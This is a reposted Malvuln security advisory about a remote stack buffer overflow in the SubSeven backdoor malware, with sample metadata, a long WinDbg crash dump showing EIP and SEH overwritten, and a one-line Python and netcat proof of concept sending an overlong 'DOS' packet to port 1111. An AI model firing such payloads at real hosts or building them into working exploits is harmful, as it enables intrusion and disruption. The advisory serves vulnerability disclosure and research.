Friday, January 7, 2022

Backdoor.Win32.SubSeven.c Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/bc7f4c4689f1b8ad395404d1e75c776f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SubSeven.c
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 1111. Third-party attackers who can reach an infected system can send a specially crafted packet prefixed with "DOS". This will trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH).
Type: PE32
MD5: bc7f4c4689f1b8ad395404d1e75c776f
Vuln ID: MVID-2022-0448
Dropped files: (cfvfpgnf.exe) randomly named
ASLR: False
DEP: False
Safe SEH: False
Disclosure: 01/05/2022

Memory Dump:
(192c.1d7c): Access violation(192c.1d7c): Access violation - code c0000005 (first/second chance not available)
- code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246

0:000> ecxr
*** WARNING: Unable to verify checksum for cfvfpgnf.exe
*** ERROR: Module load completed but symbols could not be loaded for cfvfpgnf.exe
Couldn't resolve error at 'cxr'

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
+26
41414141 ?? ???

EXCEPTION_RECORD: 0019ee34 -- (.exr 0x19ee34)
0019ee34 -- (.exr 0x19ee34)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME: cfvfpgnf.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
+26

41414141 ?? ???

FAILED_INSTRUCTION_ADDRESS:
+26

41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:
MOD_LIST: <ANALYSIS/>

CONTEXT: 0019ee84 -- (.cxr 0x19ee84)
0019ee84 -- (.cxr 0x19ee84)
eax=00010000 ebx=04163c0c ecx=7673eb0d edx=00000000 esi=005d0a48 edi=04040d17
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
41414141 ?? ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 41414141 to 41414141

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000 cfvfpgnf.exe+0x0

STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: cfvfpgnf.exe

FOLLOWUP_NAME: MachineOwner

MODULE_NAME:
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 41414141 to 41414141

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000 cfvfpgnf.exe+0x0

STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: cfvfpgnf.exe

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: cfvfpgnf
cfvfpgnf

IMAGE_NAME: cfvfpgnf.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19

FAILURE_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE_c0000005_cfvfpgnf.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_cfvfpgnf.exe

Followup: MachineOwner
---------

0:000> !exchain
ntdll!ExecuteHandler2+44 (773e9d70)
0019f2e4: 0019f2e4: 41414141
41414141
Invalid exception stack at 41414141
Invalid exception stack at 41414141


Exploit/PoC:
python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 1111
connected. 23:37 - January 4, 2022, Tuesday, ver: Legends 2.1

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